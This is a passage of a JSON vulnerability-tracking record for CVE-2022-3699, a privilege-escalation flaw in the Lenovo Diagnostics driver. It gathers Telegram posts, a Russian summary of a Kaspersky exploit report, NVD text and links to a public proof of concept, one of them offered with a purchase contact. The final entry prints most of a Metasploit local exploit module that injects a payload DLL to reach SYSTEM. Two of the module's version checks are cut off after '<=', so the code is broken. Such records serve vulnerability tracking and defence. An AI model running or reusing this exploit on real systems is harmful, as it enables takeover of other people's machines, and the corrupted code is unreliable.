{"vulnerability": "CVE-2022-3699", "sightings": [{"uuid": "a6a26421-d49b-4924-a7af-4b0d571f6784", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-3699", "type": "seen", "source": "MISP/a1e796df-2ad8-4c8d-8b69-737a004e72dd", "content": "", "creation_timestamp": "2025-02-06T03:13:45.000000Z"}, {"uuid": "8399a7d2-ef60-4056-b9b3-6f7bee05fb83", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-3699", "type": "seen", "source": "MISP/a1e796df-2ad8-4c8d-8b69-737a004e72dd", "content": "", "creation_timestamp": "2025-02-23T04:10:48.000000Z"}, {"uuid": "81c653b1-3ee8-464e-9c18-d379df720ed1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-3699", "type": "seen", "source": "https://poliverso.org/objects/0477a01e-50f1a5f6-768cfe71f5758dad", "content": "", "creation_timestamp": "2025-05-30T12:09:25.952302Z"}, {"uuid": "a3b39cf2-fc63-453f-83a9-9e8b9bdd3ee5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-3699", "type": "seen", "source": "https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/local/cve_2022_3699_lenovo_diagnostics_driver.rb", "content": "", "creation_timestamp": "2023-02-03T13:57:50.000000Z"}, {"uuid": "f92454a4-9f72-4c78-9492-497135db6fab", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-3699", "type": "seen", "source": "https://t.me/true_secator/7103", "content": "\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u041b\u0430\u0431\u043e\u0440\u0430\u0442\u043e\u0440\u0438\u0438 \u041a\u0430\u0441\u043f\u0435\u0440\u0441\u043a\u043e\u0433\u043e \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u044e\u0442 \u0431\u043e\u043c\u0431\u0438\u0442\u044c \u043e\u0442\u0447\u0435\u0442\u0430\u043c\u0438, \u043d\u0430 \u044d\u0442\u043e\u0442 \u0440\u0430\u0437 \u043f\u043e\u0434\u043e\u0433\u043d\u0430\u043b\u0438 \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0443 \u043f\u043e \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u0430\u043c \u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u043c \u0437\u0430 \u043f\u0435\u0440\u0432\u044b\u0439 \u043a\u0432\u0430\u0440\u0442\u0430\u043b 2025 \u0433\u043e\u0434\u0430.\n\n\u0412 \u043f\u0435\u0440\u0432\u043e\u043c \u043a\u0432\u0430\u0440\u0442\u0430\u043b\u0435 2025 \u0433\u043e\u0434\u0430 \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u043b\u0430\u0441\u044c \u043f\u0443\u0431\u043b\u0438\u043a\u0430\u0446\u0438\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u044b\u0445 \u0438 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u0445 \u0432 2024 \u0433\u043e\u0434\u0443, \u0442\u0430\u043a \u043a\u0430\u043a \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u0440\u0430\u043d\u0435\u0435 \u043d\u0435 \u043c\u043e\u0433\u043b\u0438 \u043e\u0431\u043d\u0430\u0440\u043e\u0434\u043e\u0432\u0430\u0442\u044c \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0438.\n\n\u0412 \u0446\u0435\u043b\u043e\u043c \u043f\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u0438 \u043a\u0432\u0430\u0440\u0442\u0430\u043b\u0430 \u0434\u0435\u043c\u043e\u043d\u0441\u0442\u0440\u0438\u0440\u0443\u044e\u0442 \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u0431\u043e\u043b\u044c\u0448\u043e\u0435 \u043a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u043e \u0437\u0430\u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u043f\u0440\u0438 \u044d\u0442\u043e\u043c \u0434\u0438\u043d\u0430\u043c\u0438\u043a\u0430 \u0438\u0445 \u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0430\u0446\u0438\u0438 \u0432\u043e \u043c\u043d\u043e\u0433\u043e\u043c \u043f\u043e\u0432\u0442\u043e\u0440\u044f\u0435\u0442 \u043f\u0440\u0435\u0434\u044b\u0434\u0443\u0449\u0438\u0435 \u0433\u043e\u0434\u044b.\n\n\u0412 \u0446\u0435\u043b\u043e\u043c \u043c\u043d\u043e\u0433\u0438\u0435 CWE \u0438\u0437 TOP 10 \u0434\u043b\u044f \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u044b\u0445 \u0440\u0435\u0448\u0435\u043d\u0438\u0439 Microsoft \u0438 \u044f\u0434\u0440\u0430 Linux \u0441\u043e\u0432\u043f\u0430\u0434\u0430\u044e\u0442 \u0438\u043b\u0438 \u044f\u0432\u043b\u044f\u044e\u0442\u0441\u044f \u0430\u043d\u0430\u043b\u043e\u0433\u0438\u0447\u043d\u044b\u043c\u0438, \u0430 \u0437\u043d\u0430\u0447\u0438\u0442, \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043e\u0441\u043d\u043e\u0432\u0430\u043d\u044b \u043d\u0430 \u0441\u0445\u043e\u0436\u0438\u0445 \u043f\u0440\u0438\u043d\u0446\u0438\u043f\u0430\u0445, \u0447\u0442\u043e \u043f\u0440\u0438\u0432\u043e\u0434\u0438\u0442 \u0447\u0430\u0441\u0442\u043e \u043a \u00ab\u043f\u043e\u0440\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044e\u00bb \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c\u043e\u0432 \u0430\u0442\u0430\u043a \u0434\u043b\u044f Linux \u043d\u0430 Windows \u0438 \u043d\u0430\u043e\u0431\u043e\u0440\u043e\u0442.\n\n\u0412 \u043f\u0435\u0440\u0432\u043e\u043c \u043a\u0432\u0430\u0440\u0442\u0430\u043b\u0435 2025 \u0433\u043e\u0434\u0430 \u043a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u043e \u0430\u0442\u0430\u043a \u0441 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u0430\u043c\u0438 \u0434\u043b\u044f \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u044b Windows \u0432\u044b\u0440\u043e\u0441\u043b\u043e \u043f\u043e \u0441\u0440\u0430\u0432\u043d\u0435\u043d\u0438\u044e \u0441 \u0430\u043d\u0430\u043b\u043e\u0433\u0438\u0447\u043d\u044b\u043c \u043f\u0435\u0440\u0438\u043e\u0434\u043e\u043c \u043f\u0440\u043e\u0448\u043b\u043e\u0433\u043e \u0433\u043e\u0434\u0430.\n\n\u041a\u0430\u043a \u0438 \u043f\u0440\u0435\u0436\u0434\u0435, \u043b\u044c\u0432\u0438\u043d\u0430\u044f \u0434\u043e\u043b\u044f \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u044b\u0445 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u043e\u0432 \u0431\u044b\u043b\u0430 \u043d\u0430\u0446\u0435\u043b\u0435\u043d\u0430 \u043d\u0430 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u044b Microsoft Office.\n\n\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u043e\u0442\u043c\u0435\u0447\u0430\u044e\u0442, \u0447\u0442\u043e \u0447\u0430\u0449\u0435 \u0438\u0445 \u0440\u0435\u0448\u0435\u043d\u0438\u044f \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u044b \u0434\u043b\u044f \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u044b Windows \u043a \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u043c \u0441\u0442\u0430\u0440\u044b\u043c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u043c: CVE-2018-0802, CVE-2017-11882 (\u043e\u0431\u0435 RCE \u0432 Equation Editor), CVE-2017-0199 (Microsoft Office \u0438 WordPad).\n\n\u0412\u0441\u0435 \u0442\u0440\u0438 \u043e\u0441\u0442\u0430\u0432\u0430\u043b\u0438\u0441\u044c \u0441\u0430\u043c\u044b\u043c\u0438 \u0440\u0430\u0441\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u043d\u044b\u043c\u0438 \u043d\u0430 \u043f\u0440\u043e\u0442\u044f\u0436\u0435\u043d\u0438\u0438 2024 \u0433\u043e\u0434\u0430, \u0438 \u043c\u044b \u043f\u0440\u0435\u0434\u043f\u043e\u043b\u0430\u0433\u0430\u0435\u043c, \u0447\u0442\u043e \u0442\u0430\u043a\u0430\u044f \u0442\u0435\u043d\u0434\u0435\u043d\u0446\u0438\u044f \u0441\u043e\u0445\u0440\u0430\u043d\u0438\u0442\u0441\u044f \u0438 \u0432 \u0434\u0430\u043b\u044c\u043d\u0435\u0439\u0448\u0435\u043c.\n\n\u0417\u0430 \u043d\u0438\u043c\u0438 \u0441\u043b\u0435\u0434\u0443\u044e\u0442 \u043d\u0435 \u043c\u0435\u043d\u0435\u0435 \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u044b\u0435 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u044b \u0432 WinRAR \u0438 \u0432 \u0441\u0430\u043c\u043e\u0439 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 Windows: CVE-2023-38831 (WinRAR), CVE-2024-35250 (\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0434\u0440\u0430\u0439\u0432\u0435\u0440\u0430\u00a0ks.sys) \u0438 CVE-2022-3699 (\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0434\u0440\u0430\u0439\u0432\u0435\u0440\u0430 Lenovo Diagnostics).\n\n\u0414\u043b\u044f \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u044b Linux \u0431\u043e\u043b\u044c\u0448\u0435 \u0432\u0441\u0435\u0433\u043e \u0431\u044b\u043b\u043e \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043e \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u043e\u0432 \u043a \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u043c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u043c: CVE-2022-0847 (Dirty Pipe), CVE-2019-13272 (\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043d\u0435\u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u043e\u0439 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u043d\u0430\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439) \u0438 CVE-2021-3156 (\u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043a\u0443\u0447\u0438 \u0432 \u0443\u0442\u0438\u043b\u0438\u0442\u0435\u00a0sudo).\n\n\u0412 \u043f\u0435\u0440\u0432\u043e\u043c \u043a\u0432\u0430\u0440\u0442\u0430\u043b\u0435 2025 \u0433\u043e\u0434\u0430 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u044b\u0435 \u0441\u0438\u0441\u0442\u0435\u043c\u044b, \u043a\u0430\u043a \u0441\u0430\u043c\u043e\u0435 \u0441\u043b\u043e\u0436\u043d\u043e\u0435 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u043e\u0435 \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0438\u0435, \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u044e\u0442 \u043b\u0438\u0434\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u043f\u043e \u043a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u0443 \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u043e\u0432.\n\n\u041a\u0440\u043e\u043c\u0435 \u0442\u043e\u0433\u043e, \u0444\u0438\u043a\u0441\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u0441\u0442\u0430\u0431\u0438\u043b\u044c\u043d\u044b\u0439 \u0440\u043e\u0441\u0442 \u0447\u0438\u0441\u043b\u0430 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u043e\u0432 \u043a \u0431\u0440\u0430\u0443\u0437\u0435\u0440\u0430\u043c - \u044d\u0442\u0430 \u0442\u0435\u043d\u0434\u0435\u043d\u0446\u0438\u044f \u0441\u043e\u0445\u0440\u0430\u043d\u044f\u043b\u0430\u0441\u044c \u0438 \u043d\u0430 \u043f\u0440\u043e\u0442\u044f\u0436\u0435\u043d\u0438\u0438 \u0432\u0441\u0435\u0433\u043e \u043f\u0440\u043e\u0448\u043b\u043e\u0433\u043e \u0433\u043e\u0434\u0430.\n\n\u0422\u0430\u043a\u0436\u0435 \u0443\u0432\u0435\u043b\u0438\u0447\u0438\u043b\u0430\u0441\u044c \u0434\u043e\u043b\u044f \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u043e\u0432 \u043a \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u043c \u0432 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430\u0445 Microsoft Office.\n\n\u0418\u0437\u0443\u0447\u0438\u0432 \u0434\u0430\u043d\u043d\u044b\u0435 \u043e\u0431 \u0430\u0442\u0430\u043a\u0430\u0445 APT, \u0432 \u041b\u041a \u0432\u044b\u0434\u0435\u043b\u0438\u043b\u0438 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0435 \u043d\u0430\u0438\u0431\u043e\u043b\u0435\u0435 \u0447\u0430\u0441\u0442\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0432\u0448\u0438\u0435\u0441\u044f \u0432 \u043f\u0435\u0440\u0432\u043e\u043c \u043a\u0432\u0430\u0440\u0442\u0430\u043b\u0435 2025 \u0433\u043e\u0434\u0430: CVE-2025-0282, CVE-2024-21887 \u0438 CVE-2025-0283 (Ivanti Connect Secure), CVE-2020-1472 (Netlogon Windows), CVE-2023-46805 (Ivanti ICS), CVE-2023-48788 (Fortinet) \u0438 \u0434\u0440.\n\n\u041e\u0442\u043c\u0435\u0442\u0438\u043c, \u0447\u0442\u043e \u0432 TOP 10 \u0432\u0435\u0440\u043d\u0443\u043b\u0430\u0441\u044c \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u0430\u044f \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c Zerologon, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u043b\u0435\u0440\u0443 \u0434\u043e\u043c\u0435\u043d\u0430.\n\n\u0412 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 \u043d\u0430\u0438\u0431\u043e\u043b\u0435\u0435 \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0431\u044b\u043b\u0438 \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043d\u044b \u0432 \u043f\u0435\u0440\u0432\u043e\u043c \u043a\u0432\u0430\u0440\u0442\u0430\u043b\u0435 2025 \u0433\u043e\u0434\u0430 \u0440\u0435\u0441\u0435\u0440\u0447\u0435\u0440\u044b \u041b\u041a \u0432\u044b\u0434\u0435\u043b\u0438\u043b\u0438: \n\n- ZDI-CAN-25373: \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043d\u0430\u0440\u0443\u0448\u0435\u043d\u0438\u044f \u043e\u0442\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u044f \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u043e\u0432 lnk-\u0444\u0430\u0439\u043b\u043e\u0432 \u0432 \u041e\u0421 Windows;\n\n- CVE-2025-21333: \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0431\u0443\u0444\u0435\u0440\u0430 \u0432 \u043a\u0443\u0447\u0435 \u0432 \u0434\u0440\u0430\u0439\u0432\u0435\u0440\u0435 vkrnlintvsp.sys;\n\n- CVE-2025-24071: \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0443\u0442\u0435\u0447\u043a\u0438 NetNTLM-\u0445\u044d\u0448\u0430 \u0432 \u0438\u043d\u0434\u0435\u043a\u0441\u0430\u0442\u043e\u0440\u0435 \u0444\u0430\u0439\u043b\u043e\u0432\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u044b.\n\n\u041f\u043e\u0434\u0440\u043e\u0431\u043d\u0430\u044f \u0441\u0442\u0430\u0442\u0438\u0441\u0442\u0438\u043a\u0430 \u0438 \u0438\u043d\u0444\u043e\u0433\u0440\u0430\u0444\u0438\u043a\u0430 - \u0432 \u043e\u0442\u0447\u0435\u0442\u0435.", "creation_timestamp": "2025-06-04T18:00:07.000000Z"}, {"uuid": "c58a080b-8174-4dc1-b25c-668f7ca3eebd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-3699", "type": "seen", "source": "https://t.me/proxy_bar/1159", "content": "CVE-2022-3699\n\u0411\u0440\u0435\u0448\u044c \u0432  LenovoDiagnosticsDriver.sys \n\u0438\u0442\u043e\u0433: \u043e\u0442 \u044e\u0437\u0435\u0440\u0430 \u0434\u043e system\ndownload LPE\n\n#windows #lpe", "creation_timestamp": "2022-11-09T18:17:38.000000Z"}, {"uuid": "717cfd9d-8565-4440-b16b-5f9a77fb7b64", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-3699", "type": "published-proof-of-concept", "source": "https://t.me/breachdetector/139197", "content": "{\n  \"Source\": \"https://t.me/documentors\",\n  \"Content\": \"CVE-2022-3699-main.zip 34.9 kB #CVE-2022-3699 #LPE https://github.com/alfarom256/CVE-2022-3699/ \ud83d\udcc4For Questions and Purchase and place Orders Contact us: \ud83d\udece @darkamo https://t.me/documentors\", \n  \"author\": \"\u2693\ufe0f\ud835\udd07\ud835\udd2c\ud835\udd20\ud835\udd32\ud835\udd2a\ud835\udd22\ud835\udd2b\ud835\udd31\ud835\udd2c\ud835\udd2f\",\n  \"Detection Date\": \"09 Nov 2022\",\n  \"Type\": \"Data leak\"\n}\n\ud83d\udd39 Data Leak monitoring system\ud83d\udd39", "creation_timestamp": "2022-11-09T21:34:51.000000Z"}, {"uuid": "f51190d5-452e-48f4-92de-9d83b384ce6f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-3699", "type": "published-proof-of-concept", "source": "Telegram/PCZrM6guuY9nHRw3-vwRyVQP26p0_SVhxlzLoiyzE_RZiq0", "content": "", "creation_timestamp": "2022-11-26T04:09:46.000000Z"}, {"uuid": "519532db-0c00-4a6f-9f4d-c9027b9a51c9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-3699", "type": "seen", "source": "https://t.me/cibsecurity/72826", "content": "\u203c CVE-2022-3699 \u203c\n\nA privilege escalation vulnerability was reported in the Lenovo HardwareScanPlugin prior to version\u00c2\u00a01.3.1.2 and\u00c2\u00a0Lenovo Diagnostics prior to version 4.45 that could allow a local user to execute code with elevated privileges.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-10-25T22:39:11.000000Z"}, {"uuid": "e98d7444-244b-4e15-a48a-e88682e0316e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-3699", "type": "published-proof-of-concept", "source": "https://t.me/CNArsenal/340", "content": "https://github.com/alfarom256/CVE-2022-3699/\nWindows\n#\u63d0\u6743", "creation_timestamp": "2022-11-11T02:20:46.000000Z"}, {"uuid": "ee605c8a-438e-4c50-a499-00d9c37b115a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-3699", "type": "published-proof-of-concept", "source": "https://t.me/CyberSecurityTechnologies/7141", "content": "#exploit\n1. CVE-2021-44707:\nAdobe Reader Out-of-bounds Write Vulnerability Analysis and Exploitation\nhttps://mp.weixin.qq.com/s/elLI4YvJ0u9yYoyQpsv1og\n\n2. CVE-2022-3699:\nLenovo Diagnostics Driver EoP - Arbitrary R/W\nhttps://github.com/alfarom256/CVE-2022-3699\n\n3. CVE-2022-40303:\nInteger overflow in xmlParseNameComplex\nhttps://gitlab.gnome.org/GNOME/libxml2/-/issues/381", "creation_timestamp": "2022-11-10T20:37:43.000000Z"}, {"uuid": "a865e19a-91cd-4d6c-af24-02a5b6b22311", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-3699", "type": "published-proof-of-concept", "source": "https://t.me/CVEhub/4619", "content": "\ud83d\udc7eCVE SERVICE \ud83c\udff7#CVE\nMumber: CVE-2022-3699\nGithub: https://github.com/alfarom256/CVE-2022-3699\nDescribe: \n**", "creation_timestamp": "2026-07-31T22:00:03.321731Z"}, {"uuid": "4027fc83-1d49-4b54-86b8-40a89963a325", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-3699", "type": "published-proof-of-concept", "source": "https://t.me/CVEhub/4619", "content": "\ud83d\udc7eCVE SERVICE \ud83c\udff7#CVE\nMumber: CVE-2022-3699\nGithub: https://github.com/alfarom256/CVE-2022-3699\nDescribe: \n**", "creation_timestamp": "2026-08-01T00:00:11.572450Z"}, {"uuid": "4de12eb7-88c5-447d-be11-f8128c9f3124", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-3699", "type": "seen", "source": "https://t.me/CVEhub/4619", "content": "\ud83d\udc7eCVE SERVICE \ud83c\udff7#CVE\nMumber: CVE-2022-3699\nGithub: https://github.com/alfarom256/CVE-2022-3699\nDescribe: \n**", "creation_timestamp": "2026-07-29T12:00:56.445218Z"}, {"uuid": "ee341f64-41ef-4372-b78d-b486edcd4867", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-3699", "type": "seen", "source": "https://t.me/CVEhub/4619", "content": "\ud83d\udc7eCVE SERVICE \ud83c\udff7#CVE\nMumber: CVE-2022-3699\nGithub: https://github.com/alfarom256/CVE-2022-3699\nDescribe: \n**", "creation_timestamp": "2026-07-30T00:01:33.483125Z"}, {"uuid": "14fa2b0f-619e-439a-b3ad-902ed4265b68", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-3699", "type": "seen", "source": "https://t.me/hacking_Attack/88662", "content": "Exploit Collector\nLenovo Diagnostics Driver Memory Access\n\nhttps://3.bp.blogspot.com/-_lYy5AwzHPI/WWlvAVk_lrI/AAAAAAAAIKU/HsTDdKCabVkkHkFsXQw08U72hOmjap5rACLcBGAs/s1600/h121.png This Metasploit module demonstrates how an incorrect access control for the Lenovo Diagnostics Driver allows a low-privileged user the ability to issue device IOCTLs to perform arbitrary physical/virtual memory reads and writes.\n\nSHA-256 | 4d81e8f2ae72805082f511a1afa0427bff321c86d10fa56019672dac926e51f8Download ##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nclass MetasploitModule < Msf::Exploit::Local\nRank = GoodRanking\n\ninclude Msf::Exploit::Local::WindowsKernel\ninclude Msf::Post::File\ninclude Msf::Post::Windows::Priv\ninclude Msf::Post::Windows::Process\ninclude Msf::Post::Windows::ReflectiveDLLInjection\nprepend Msf::Exploit::Remote::AutoCheck\n\ndef initialize(info = {})\nsuper(\nupdate_info(\ninfo,\n{\n'Name' => 'Lenovo Diagnostics Driver IOCTL memmove',\n'Description' => %q{\nIncorrect access control for the Lenovo Diagnostics Driver allows a low-privileged user the ability to\nissue device IOCTLs to perform arbitrary physical/virtual memory read/write.\n},\n'License' => MSF_LICENSE,\n'Author' => [\n'alfarom256',    # Original PoC\n'jheysel-r7'     # msf module\n],\n'Arch' => [ ARCH_X64 ],\n'Platform' => 'win',\n'SessionTypes' => [ 'meterpreter' ],\n'DefaultOptions' => {\n'EXITFUNC' => 'thread'\n},\n'Targets' => [\n[ 'Windows x64', { 'Arch' => ARCH_X64 } ]\n],\n'References' => [\n[ 'CVE', '2022-3699' ],\n[ 'URL', 'https://github.com/alfarom256/CVE-2022-3699/' ]\n],\n'DisclosureDate' => '2022-11-09',\n'DefaultTarget' => 0,\n'Notes' => {\n'Stability' => [CRASH_SAFE],\n'Reliability' => [REPEATABLE_SESSION],\n'SideEffects' => []\n},\n'Compat' => {\n'Meterpreter' => {\n'Commands' => %w[\nstdapi_railgun_api\n]\n}\n}\n}\n)\n)\nend\n\ndef check\nunless session.platform == 'windows'\n# Non-Windows systems are definitely not affected.\nreturn Exploit::CheckCode::Safe\nend\n\nhandle = open_device('\\\\\\\\.\\\\LenovoDiagnosticsDriver', 'FILE_SHARE_WRITE|FILE_SHARE_READ', 0, 'OPEN_EXISTING')\nif handle.nil?\nreturn Exploit::CheckCode::Safe\nend\n\nsession.railgun.kernel32.CloseHandle(handle)\nCheckCode::Appears\nend\n\ndef target_compatible?\nbuild_num = sysinfo['OS'].match(/Build (\\d+)/)[1].to_i\nvprint_status(\"Windows Build Number = #{build_num}\")\n\nreturn true if sysinfo['OS'] =~ /Windows 10/ && build_num >= 14393 && build_num <=\nreturn true if sysinfo['OS'] =~ /Windows 11/ && build_num == 22000\nreturn true if sysinfo['OS'] =~ /Windows 2016\\+/ && build_num >= 17763 && build_num <=\n\nfalse\nend\n\ndef exploit\nif is_system?\nfail_with(Failure::None, 'Session is already elevated')\nend\n\n# check that the target is a compatible version of Windows (since the offsets are hardcoded) before loading the RDLL\nunless target_compatible?\nfail_with(Failure::NoTarget, 'The exploit does not support this target')\nend\n\nif sysinfo['Architecture'] == ARCH_X64 && session.arch == ARCH_X86\nfail_with(Failure::NoTarget, 'Running against WOW64 is not supported')\nelsif sysinfo['Architecture'] == ARCH_X64 && target.arch.first == ARCH_X86\nfail_with(Failure::NoTarget, 'Session host is x64, but the target is specified as x86')\nelsif sysinfo['Architecture'] == ARCH_X86 && target.arch.first == ARCH_X64\nfail_with(Failure::NoTarget, 'Session host is x86, but the target is specified as x64')\nend\n\nencoded_payload = payload.encoded\nexecute_dll(\n::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2022-3699', 'CVE-2022-3699.x64.dll'),\n[encoded_payload.length].pack('I<')\n)\n\nprint_good('Exploit finished, wait for (hopefully privileged) payload execution to complete.')\nend\nend Source:packetstormsecurity.com", "creation_timestamp": "2026-09-01T20:01:05.158051Z"}, 